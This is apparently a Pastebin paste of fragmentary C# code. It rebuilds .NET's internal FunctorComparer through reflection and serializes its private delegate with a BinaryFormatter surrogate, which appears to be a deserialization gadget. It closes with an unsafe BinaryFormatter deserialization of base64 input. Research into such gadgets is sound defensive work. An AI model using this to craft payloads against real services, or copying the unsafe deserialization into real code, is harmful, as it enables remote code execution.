Guest User

Untitled

a guest
Apr 22nd, 2018
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.63 KB | None | 0 0
  1. internal sealed class FunctorComparer<T> : IComparer<T>
  2. {
  3. private Comparer<T> c = Comparer<T>.Default;
  4. private Comparison<T> comparison;
  5.  
  6. public FunctorComparer(Comparison<T> comparison)
  7. {
  8. this.comparison = comparison;
  9. }
  10.  
  11. public int Compare(T x, T y)
  12. {
  13. return this.comparison(x, y);
  14. }
  15. }
  16.  
  17. Type FunctorComparerType = a.GetType("System.Array+FunctorComparer`1");
  18. FunctorComparerType = FunctorComparerType.MakeGenericType(typeof(string));
  19. object FunctorComparerInstance = Activator.CreateInstance(FunctorComparerType, new object[1] { null });
  20.  
  21. public class FunctorComparerSugragate : ISerializationSurrogate
  22. {
  23. public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
  24. {
  25. Type FunctorType = obj.GetType();
  26. FieldInfo finfo = FunctorType.GetField("comparison", BindingFlags.NonPublic | BindingFlags.Instance);
  27. info.AddValue("comparison", finfo.GetValue(obj));
  28. }
  29.  
  30. public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
  31. {
  32. // ignore - this is for deserialize
  33.  
  34. return obj;
  35. }
  36. }
  37.  
  38. MemoryStream stream = new MemoryStream();
  39. var suggSelect = new SurrogateSelector();
  40. suggSelect.AddSurrogate(hidden, new StreamingContext(StreamingContextStates.All), new FunctorComparerSugragate());
  41. BinaryFormatter fmt = new BinaryFormatter();
  42. fmt.SurrogateSelector = suggSelect;
  43. fmt.Serialize(stream, FunctorComparerInstance);
  44.  
  45. byte[] btArray = Convert.FromBase64String(value);
  46. MemoryStream ms = new MemoryStream(btArray);
  47. BinaryFormatter formt = new BinaryFormatter();
  48. object obj = formt.Deserialize(ms);
Add Comment
Please, Sign In to add comment